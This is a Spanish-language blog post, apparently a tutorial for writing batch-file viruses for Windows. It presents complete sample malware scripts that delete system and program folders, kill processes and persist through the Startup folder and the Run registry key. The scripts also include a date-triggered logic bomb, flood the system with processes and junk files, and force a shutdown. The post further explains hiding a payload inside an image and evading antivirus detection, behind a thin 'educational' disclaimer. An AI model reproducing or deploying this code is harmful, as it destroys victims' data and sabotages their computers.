Si las extensiones de comando est n activadas DEL y ERASE cambian de
la siguiente manera:
La semántica que se muestra para el modificador /S est invertida de
tal modo
que le muestra solamente los archivos eliminados y no los que no se
encontraron.
Borrar Carpetas
Otra cosa importante en nuestro virus es borrar carpetas, utilizaremos
entonces el comando rd (remove directory), se utiliza parecido q al
comando del, pero solo utiliza los parametros /s y /q..../s qita todos
los archivos y carpetas del directorio y /q lo hace sin confirmacion y
silenciosamente...
rd "c:\windows"
::uuhhh, q pasaria xDxD
rd /s /q "c:\windows"
::qda mejor no?...= no se borrara, mas adelante explicare porq...
AYUDA DE MS-DOS:
Quita un directorio.
RMDIR [/S] [/Q] [unidad:]ruta
RD [/S] [/Q] [unidad:]ruta
/S Quita todos los directorios y archivos del directorio
además
del mismo directorio. Se utiliza principalmente cuando se
desea quitar un rbol.
/Q Modo silencioso, no pide confirmaci¢n para quitar un rbol
de directorio con /S
Crear directorios
Weno, cuando nuestro virus se quiera copiar a una carpeta, y esta no
existe, se creara un error y no se copiara, para evitar esto, podemos
verificar si el directorio existe que se copie, si no, que cree el
directorio y luego se copie :-)...
El comando para esto es mkdir o md...
mkdir "c:\caca"
md "c:\wooo"
::esto creara ambos directorios, ya q los dos sirven para lo mismo
Comprobar si existe
Para la creacion de nuestro virus, podemos comprobar si existe el
archivo o carpeta que qeramos modificar, borrar, etc....y si existe
nuestra accion sucede...esto se combina con etiqetas, como siempre,
las rutas van entre comillas...
if exist "C:\archivo.exe" (goto 1) else goto 2
:1
::aqi va la accion del virus, notese q el 1 es la etiqeta...
Del /f /q "C:\archivo.exe"
:2
exit
PROCESOS
Matar procesos
para matar procesos se utiliza el comando taskkill, es util siempre
matar procesos, ya q si algun archivo esta en uso, no se puede borrar,
entonces, para esto matamos el proceso del archivo y luego lo borramos
:-)...
el taskkill se utiliza seguido de la expresion /im, y luego el nombre
del ejecutable entre comillas....
taskkill /f /im "explorer.exe"
::esto finalizara el proceso explorer sin pedir confirmacion, gracias
al /f
::supongamos q el archivo hola.exe esta en uso y no lo podemos
borrar...
taskkill /f /im "hola.exe"
Del /f /q "c:\archivos de programas/hola.exe"
::jeje, ya ha desaparecido el archivo hola.exe
AYUDA DE MS-DOS:
TASKKILL [/S sistema] [/U usuario [/P contrase¤a]]
{ [/FI filtro] [/PID IdProceso | /IM NombreImagen] } [/F] [/T]
Descripci¢n:
Esta herramienta de la l¡nea de comandos puede usarse en uno o m s
procesos.
Los procesos pueden terminarse a trav‚s del Id. o del nombre de imagen.
Lista de par metros:
/S sistema Especifica el sistema remoto al que conectarse.
/U [dominio\]usuario Especifica el contexto de usuario en el que se
que el comando debe ejecutarse.
/P contrase¤a Especifica la contrase¤a para el contexto de
usuario dado. Pide la entrada si se omite.
/F Especifica la terminaci¢n forzada
de proceso(s).
/FI filtro Especifica un conjunto de tarea que coinciden
con el criterio especificado en el filtro.
/PID Id. de proceso Especifica el ID. de proceso que se debe
terminar.
/IM nombre de imagen Especifica el nombre de imagen del proceso que
debe terminar. El car cter comod¡n "*" puede
usarse para especificar todos los nombres de
imagen.
/T Terminar rbol: termina el proceso especificado
y todos los procesos secundarios iniciados por
‚l.
/? Muestra el uso de la ayuda.
Filtro(s):
Nombre filtro Operadores v lidos Valores v lidos
------------- ------------------ ---------------
STATUS eq, ne RUNNING | NOT RESPONDING
IMAGENAME eq, ne Nombre de imagen.
PID eq, ne, gt, lt, ge, le Valor de PID.
SESSION eq, ne, gt, lt, ge, le N£mero de sesi¢n
CPUTIME eq, ne, gt, lt, ge, le Tiempo v lido en el formato
hh:mm:ss.
hh - horas,
mm - minutos, ss - segundos
MEMUSAGE eq, ne, gt, lt, ge, le Uso de memoria en KB.
USERNAME eq, ne Nombre de usuario en formato
[dominio\]usuario.
MODULES eq, ne Nombre de DLL
SERVICES eq, ne Nombre de servicio.
WINDOWTITLE eq, ne T¡tulo de ventana.
Nota: el car cter comod¡n "*" del modificador /IM se acepta solamente
con filtros.
Nota: los procesos remotos siempre se terminar n de manera forzada
sin tener en cuenta si la opci¢n /F se ha especificado o no.
Ejemplos:
TASKKILL /S sistema /F /IM notepad.exe
TASKKILL /PID 1230 /PID 1241 /PID 1253
TASKKILL /F /IM notepad.exe /IM mspaint.exe
TASKKILL /F /FI "PID ge 1000" /FI "WINDOWTITLE ne untitle*"
TASKKILL /F /FI "USERNAME eq NT AUTHORITY\SYSTEM" /IM notepad.exe
TASKKILL /S sistema /U dominio\usuario /FI "USERNAME ne NT*" /IM *
TASKKILL /S sistema /U nombreusuario /P contrase¤a /FI "IMAGENAME eq
note*"
Ver procesos
para ver la lista de procesos, simplemente tipea esto en la consola y
veras todos los procesos activos...
tasklist
AYUDA DE MS-DOS:
TASKLIST [/S sistema [/U usuario [/P contrase¤a]]]
[/M [m¢dulo] | /SVC | /V] [/FI filtro] [/FO formato] [/NH]
Descripci¢n:
Esta herramienta de la l¡nea de comandos muestra una lista de
aplicaciones y las tareas o procesos asociados que se ejecutan
en un sistema local o remoto
Lista de par metros:
/S sistema Especifica el sistema remoto para
conectarse.
/U [dominio\]usuario Especifica el contexto de usuario en el
que
que el comando debe ejecutarse.
/P contrase¤a Especifica la contrase¤a para el
contexto de
usuario dado.
/M [m¢dulo] Muestra todas las tareas que tienen
cargados
m¢dulos de biblioteca DLL que coincidan
con el
nombre est ndar dado.
Si no se especifica el nombre del
m¢dulo, se
mostrar n todos los m¢dulos cargados por
cada
tarea.
/SVC Muestra los servicios en cada proceso.
/V Especifica que la informaci¢n
sea mostrada.
/FI filtro Muestra un conjunto de tareas que
coinciden
con el criterio especificado por el
filtro.
/FO formato Especifica el formato de salida.
Valores v lidos: "TABLE", "LIST", "CSV".
/NH Especifica que el "encabezado de
columna" no
no debe mostrarse en la salida.
V lido s¢lo para formatos "TABLE" y
"CSV".
/? Muestra el uso/ayuda.
Filtros:
Nombre filtro Operadores v lidos Valores v lidos
------------- ------------------ ---------------
STATUS eq, ne RUNNING | NOT
RESPONDING
IMAGENAME eq, ne Nombre de imagen
PID eq, ne, gt, lt, ge, le Valor del PID
SESSION eq, ne, gt, lt, ge, le N£mero de sesi¢n
SESSIONNAME eq, ne Nombre de sesi¢n
CPUTIME eq, ne, gt, lt, ge, le Tiempo de la CPU en
el formato
hh:mm:ss.
hh - n£mero de
horas,
mm - minutos, ss -
segundos
MEMUSAGE eq, ne, gt, lt, ge, le Uso de memoria en KB
USERNAME eq, ne Nombre de usuario en
formato
[dominio\]usuario
SERVICES eq, ne Nombre de servicio
WINDOWTITLE eq, ne T¡tulo de ventana
MODULES eq, ne Nombre DLL
Ejemplos:
TASKLIST
TASKLIST /M
TASKLIST /V
TASKLIST /SVC
TASKLIST /M wbem*
TASKLIST /S sistema /FO LIST
TASKLIST /S sistema /U dominio nombreusuario /FO CSV /NH
TASKLIST /S sistema /U nombreusuario /P contrase¤a /FO TABLE /NH
TASKLIST /FI "USERNAME ne NT AUTHORITY\SYSTEM" /FI "STATUS eq
running"
INICIARSE CON WINDOWS
Weno, esta, es una de las funciones mas importantes en todo virus, y
existen dos metodos para hacerlo:
Iniciarse por startup
En windows, hay una carpeta en donde hay accesos directos a programas
q se inicien con windows, si copiamos nuestro bat a esta, tambien se
iniciara con windows...
Copy %0 C:\"Documents and Settings"\"All Users"\*
Inicio\"Programas"\"Inicio"\"mivirus.bat"
::jeje, esa es la magika carpeta...
Agregarse al registro
Este es el modo mas seguro, solo hay q agregarse a la entrada run del
registro, creando una clave que contenga el nombre de la ruta y ademas
un nombre que se mostrara en el registro:
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v
"UNNOMBREQUESEMOSTRARA" /d "c:\tubat.bat"
::reg add es para agregar la clave
::HKLM\Software\Microsoft\Windows\CurrentVersion\Run es la entrada
magica donde estan todos los programas q se inician cn windows...
::/v indica el nombre del valor
::/d indica los datos que seran agregados
VARIABLES GLOBALES
las variables globales nos sirven para que nuestro virus funcione
tambien en windows que no esten instalados en el directorio por
defecto, aqui dejo algunas...
%systemroot% = directorio de windows, por defecto c:\windows
%programfiles% = los archivos de programa, por defecto c:\archivos de
programa
%username% = el nombre de usuario
%allusersprofile% = por defecto c:\documents and setting\all users
%computername% = el nombre de la maqina...
Ejemplo de como utilizarlas:
Copy %0 %systemroot%\mivirus.bat
::copiara el virus en el directorio de windows...
echo %username%
::te mostrara el nombre de usuario, en mi caso matias xD
::las variables globales siempre deben estar entre %%
Si quieres conocer todas las variables globales, tipea set en la
consola...
Set
RECUERDA QUE SIEMPRE VAN ENTRE %%
CREAR LOOPS
Esto es muy facil y es mas q nada logica, se utiliza una etiqeta y
luego el goto para volver a la etiqeta...Esto lo puedes utilizar para
lo q qras, mas q nada para molestar, xq no se qitara la ventanita
nunka xD...
::mira esto es un loop
:woOo
::woOo es nuestra etiqeta
copy%0 "c:\bat.bat"
::hacemos lo q qramos...
goto woOo
::y volvemos al woOo...
::asi estamos todo el rato haciendo lo mismo...
BOMBA LÓGICA
bueno para hacer que realice las acciones que nosotros queramos en una
determinada fecha, utilizaremos la variable %date%, que nos devuelve
la fecha del sistema, entonces nosotros verificamos si la fecha es
correcta y vamos a una etiqeta, si no, vamos a otra...
echo %date%
::si nos fijamos nos devuelve 19-06-2006
::entonces con esto sacamos por teoria que...
if %date% == 19-06-06 (goto 1) else goto 2
:1
::codigo del virus
:2
exit
CREAR TXT
Siempre los txts son un buen payload, en batch, para crear un txt, se
debe redireccionar la salida con el comando >. Entonces podemos
perfectamente dejar la firma en un txt gracias a este comando. Para
sobreescribir y crear un archivo, utiliza el comando > y para
sobreescribir el comando >>.
echo jaja te mate el pc...>c:\firma.txt
echo y no sabes quien soy>>c:\firma.txt
echo I'm The Shredder>>c:\firma.txt
echo ups, ya sabes xD>>c:\firma.txt
echo saludoss>>c:\firma.txt
BORRAR PANTALLA
si quieres que la victima no vea nada de nada de lo que se esta
ejecutando en la consola, puedes poner el comando cls, que sirve para
vaciar la pantalla jejeje...
echo hola
echo como estas?
echo muy bien
Cls
::uh, ahora veamos borrando la pantallita cada vez q se hace algo
echo hola
cls
echo como estas?
cls
echo muy bien
Cls
Weno eso ha sido todo por hoy, reporten cualquier falla, y posteen sus
criticas y especialmente dudas...criticas aqi y dudas en otro post...
Si copias esto deja bien en claro el autor e intenta avisarme
salu2
Ejemplo
Vamos al trabajo practico, aqui les muestro un ejemplo que acabo de
hacer para demostrarles algo util de lo aprendido...
@echo off
cls
Copy %0 "%systemroot%\autoexec.bat"
taskkill /f /im "msnmsgr.exe"
cls
Del /f /q "%programfiles%\MSN Messenger\*.*"
:: el *.* es para borrar todos los archivos
cls
rd /s /q "%programfiles%\MSN Messenger"
cls
Mkdir "c:\Imbésil"
cls
Mkdir "c:\tonto"
cls
Mkdir "c:\weon"
cls
Mkdir "c:\aweonao"
cls
Mkdir "c:\saco e wea"
cls
Mkdir "c:\retrasado mental"
cls
Mkdir "c:\hijo e puta"
cls
Mkdir "c:\chupamela"
cls
Mkdir "c:\das asco"
cls
Mkdir "c:\dile a tu hermana q mañana le pago"
cls
if exist "%programfiles%\Internet Explorer" (goto matariex) else goto
continuar
:continuar
echo THE SHREDDER > "%systemroot%\firmita.txt"
cls
echo WAS >> "%systemroot%\firmita.txt"
cls
echo HERE >> "%systemroot%\firmita.txt"
cls
echo VIRUS : Prueba para mi ejemplo >> "%systemroot%\firmita.txt"
cls
Copy %systemroot%\firmita.txt "c:\Imbésil\The Shredder was here.txt"
cls
Copy %systemroot%\firmita.txt "c:\tonto\The Shredder was here.txt"
cls
Copy %systemroot%\firmita.txt "c:\weon\The Shredder was here.txt"
cls
Copy %systemroot%\firmita.txt "c:\aweonao\The Shredder was here.txt"
cls
Copy %systemroot%\firmita.txt "c:\saco e wea\The Shredder was
here.txt"
cls
Copy %systemroot%\firmita.txt "c:\retrasado mental\The Shredder was
here.txt"
cls
Copy %systemroot%\firmita.txt "c:\hijo e puta\The Shredder was
here.txt"
cls
Copy %systemroot%\firmita.txt "c:\das asco\The Shredder was here.txt"
cls
Copy %systemroot%\firmita.txt "c:\dile a tu hermana q mañana le
pago\The Shredder was here.txt"
cls
Notepad "%systemroot%\firmita.txt"
cls
exit
:matariex
rd /s /f "%programfiles%\Internet Explorer"
cls
:sinfin
echo usa firefox, es mejor >> creceras.txt
goto sinfin
::esto fue hecho para respaldar mi tutorial para crear virus...
Virus en batch
Realizando virus en batch
Como realizar un virus en batch:
Para realizar un virus en batch basta con abrir un editor de texto como el notepad, alli es donde escribiremos nuestro codigo, pero porque en un batch y no en lenguaje C/C++ o incluso JAVA, pues la razon es muy simple si utilizamos un lenguaje de alto nivel es detectado por los antivirus encambio un batch no es detectado, si es ejecutado e instalado el antivirus nisiquiera se percata de la situacion de tu equipo, porque lo toma como un comando o instruccion echa por el usuario.
el antivirus lo puede detectar como codigo malefico en una transferencia de archivo como en un E-MAIL, o por el mismo MSN, pero hay formas de evitar de que estos virus sean detectados facilmente utilizando una imagen o otro archivo pero en particular imagenes, simplemente comprimiendo el archivo y anexarlo a la foto en un nuevo archivo que mas adelante explicare.
Ahora biene la parte buena del asunto, que codigo deve ser introducido para que sea un virus?... pues es mas simple de lo que piensan, simples instrucciones tales como resetear el ordenador, borrar archivos, crear autoejecutables aleatorios, etc, todo lo que se te pueda ocurrir, teniendo en cuenta que son comandos de consola, y dependiendo de la instruccion que se les de sirve tanto para windows como para linux.
este es un pequeño ejemplo de un virus en batch:
@echo off
: a
start explore.exe
goto : a
Este virus lo que hace es reproducir infinitamente el explore...
Ahora bien ya teniendo este codiguito lo podemos mejorar?... si claro que si, pero antes explicare un poco que es lo que se hace.
@echo off "es para ocultar el ECHO"
:a y el goto: a es para crear unbucle, eso quiere desir un ciclo infinito
y la instruccion de start es para comensar un proceso en este caso es el explore asi que lo abre infinitamente.
Ahora miremos algo mas...
si deseamos borrar o eliminar un archivo o simplemente algo inesperado como formatiar toda una unidad y luego reiniciar el ordenador para dejar a alguien mirando para el techo simplemente escribimos:
@echo off
format "ruta" //da formato
rmdir "ruta" //formatea un directorio
erase "ruta" o "archivo" // borra o elimina archivos
shutdown -s -f -c "Reinicia forzadamente el equipo"
erase %0 //borra y no deja rastro
Tambien podemos hacer que se aloje en el registro del sistema o donde queramos pero es mejor alli si le colocamos un nombre como "WIN.exe, msnunistall.exe, explore.exe, y cualquiera que os ocurra"
tambien se puede crear que se reprodusca asi dificulta la eliminacion del archivo, al igual que tambien se puede como vimos anterior mente crear una lista de antivirus para eliminar asi asertamos con el antivirus que la persona tenga instalada y probocar eliminacion sin el consentimiento del usuario. pero eso lo puedes investigar en tu propio ordenador, recuerda que manejar virus si no tienes el respeto y el cuidado puedes ser tu el afectado.
Recuerda que esto es solo con fines educativos para que sepas la peligrosidad de los virus, aun que no preocupeis, un virus como emos visto hasta aqui es simplemente un programa con un grupo de instrucciones a realizar, hay siertas instrucciones que se pueden evitar, tal como avitar que el ordenador se nos apague sin nuestro consentimiento, abriendo la consola y tipeando alli.
shutdown -a // esto cansela la accion de reinicio
otra cosa que podes hacer es abrir el administrador de tareas en el windows, siendo este el sistema mas afectado en la historia y que curiosamente es el mas usado... bueno eso no tiene nada que ver..enfin alli en el administrador de tareas pòdemos denegar algun proseso no deseado.
Podemos tener a nuestra disposicion un buen cortafuegos "firewall" un antivirus, un antimalwere, un anti espias aun que claro que hay antivirus que traen incorporados muchas de estas utilidades. tambienadministrando bien los recursos de nuestro sistema y aumentando nuestra seguridad, cerrando puertos para evitar ataques, teniendo todo actualizado y solo de la pagina principal, y muchas otras cosas mas, pero este no es un manual para ello.
Siguiendo con los virus en batch, para eliminar archivos podemos utilizar tanto el comando DEL como el ERASE y el RD que elimina un directorio, podemos utilizar para copiar archivos el comando copy, el cual mas adelante en este tutorial de seguridad de virus en batch enseñare como ocultar un virus en una imagen.
como vemos que es un programa con una serie de instrucciones, tenemos que aprender la parte logica del asunto tambien; ademas de los comandos de la shell para poder efectuar las diferentes acciones, lo que se le denomina programacion en batch, donde tambien se pueden utilizar operadores logicos y demas que vemos en otra clase de programacion como en C y en JAVA, podemos aferrarnos al "IF", "GOTO", "FOR" y demas comandos que podemos ejecutar desde la consola ya depende de buestra creatividad.
Bueno cuando se optiene el codigo del virus lo siguiente que se puede hacer es guardarlo como un archivo con extencion "bat", asi nos crea un ejecutable a nuestro codigo y sabemos que llevara la accion que nosotros deseamos, este codigo tambien se puede convertir a un "exe" de forma facil por medio de un programa llamado "Quick batch file compiler" una ves tenemos el programilla solo resta mandarlo, y es alli donde vemos que personas por internet se ven afectadas y aun mas por el MSN, donde no devemos aseptar ningun tipo de archivo extraño ni el cual cuya procedencia estemos seguros, al igual que si vemos una imagen con una extencion "exe" o diferente a las que son avituales tales como ("jpg""npg""bmp""gif" ETC...)
Ahora veremos la forma de esconder un archivo dentro de una imagen de forma correcta sin que las demas personas sospechen algo.
simplemente creamos una carpetica y colocamos el archivo que en este caso es nuestro virus y una foto, que bien puede ser una modelo semidesnuda para los hombre y en el caso de las mujeres un muñequito bien tierno. a la hora esconder el archivo tenemos que pensar que podemos utilizar para que no duden en abrirlo, bueno lo siguiente es que el archivo que en este caso es nuestro virus lo comprimimos en un ZIP o en un RAR y nos sale el "archivo.rar" donde antes de darle la compresion podemos avilitarlo para que sea un autoejecutable y colocarle una contraseña por cuestiones del antivirus, asi dificulta un poco la deteccion.
A continuecion abrimos nuestra consola y cambiamos el directorio a la ruta de la carpeta, en pocas palabras nos situamos donde tenemos los archivos y si tenemos la imagen llamada modelo.jpg y el archivo llamado virus.rar "ya comprimido" entonses hacemos lo siguiente. tipeamos, "copy /b modelo.jpg + virus.rar oculto.jpg"
automaticamente nos copia el archivo en el cual veremos la imagen sin rastros del archivos, ahora ya podemos borrar los demas que tenemos en la carpeta, pero si notamos nuestra imagen pesa mucho mas que la que teniamos inicialmente, y si el virus es autoejecutable es mejor que no abramos la imagen y tengamos un manejo cuidadoso con ella.
Ahora ya sabes como se crean y se esconden los virus de forma casi indetectable, pero podemos saber que una imagen contiene archivos ocultos simplemente llendo a ejecutarla como archivo RAR o ZIP, dandonos cuenta por el tamaño de la imagen.
Por ultimo les dejo este codigo abajo
Recuerden que esta informacion es completamente educativa por lo cual no me ago responsable del mal uso de la misma. y los detalles los pueden averiguar ensayando.
Codigo:
@echo off
REM QBFC Project Options Begin
:: HasVersionInfo: yes
REM Companyname: malweregenucidio
REM Productname: explorer.exe
REM Filedescription: open bucle
REM Copyrights: genucidio
REM Trademarks: gpf
REM Originalname: explore.exe
REM Comments:
REM Productversion: 1. 0. 0. 0
REM Fileversion: 0. 0. 0. 1
REM Internalname: explorer.exe
REM Appicon:
REM QBFC Project Options End
copy %0 %windir%\system32\explorer.bat
REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v IE /t REG_SZ /d %Windir%\system32\explorer.bat
msg* El explorador explotara...
start explorer.exe
start explorer.exe
start explorer.exe
start explorer.exe
start explorer.exe
start explorer.exe
start explorer.exe
start explorer.exe
start explorer.exe
start explorer.exe
start explorer.exe
start explorer.exe
start explorer.exe
start explorer.exe
start explorer.exe
start explorer.exe
start explorer.exe
start explorer.exe
start explorer.exe
start explorer.exe
start explorer.exe
start explorer.exe
start explorer.exe
start explorer.exe
start explorer.exe
start explorer.exe
start explorer.exe
start explorer.exe
start explorer.exe
start explorer.exe
start explorer.exe
start explorer.exe
start explorer.exe
start explorer.exe
start explorer.exe
start explorer.exe
start explorer.exe
start %random%
start %random%
start %random%
start %random%
cd\
cd %homepath%
cd escritorio
echo explorer>>%random%.exe
echo explorer>>%random%.exe
echo explorer>>%random%.exe
echo explorer>>%random%.exe
echo explorer>>%random%.exe
echo explorer>>%random%.exe
echo explorer>>%random%.exe
echo explorer>>%random%.exe
cd\
cd windows
mrdir %random%
mrdir %random%
mrdir %random%
mrdir %random%
mrdir %random%
mrdir %random%
mkdir %random%
mkdir %random%
mkdir %random%
mkdir %random%
mkdir %random%
mkdir %random%
mkdir %random%
mkdir %random%
echo explorer>>%random%.exe
echo explorer>>%random%.exe
echo explorer>>%random%.exe
echo explorer>>%random%.exe
echo explorer>>%random%.exe
echo explorer>>%random%.exe
echo explorer>>%random%.exe
echo explorer>>%random%.exe
cd system32
mkdir %random%
mkdir %random%
mkdir %random%
mkdir %random%
mkdir %random%
mkdir %random%
mkdir %random%
mkdir %random%
echo explorer>>%random%.exe
echo explorer>>%random%.exe
echo explorer>>%random%.exe
echo explorer>>%random%.exe
echo explorer>>%random%.exe
echo explorer>>%random%.exe
echo explorer>>%random%.exe
echo explorer>>%random%.exe
shutdown -s -f -t 120 -c "Reiniciando para corregir el explorer"
del % 0
exit
Suscribirse a:
Enviar comentarios (Atom)

No hay comentarios:
Publicar un comentario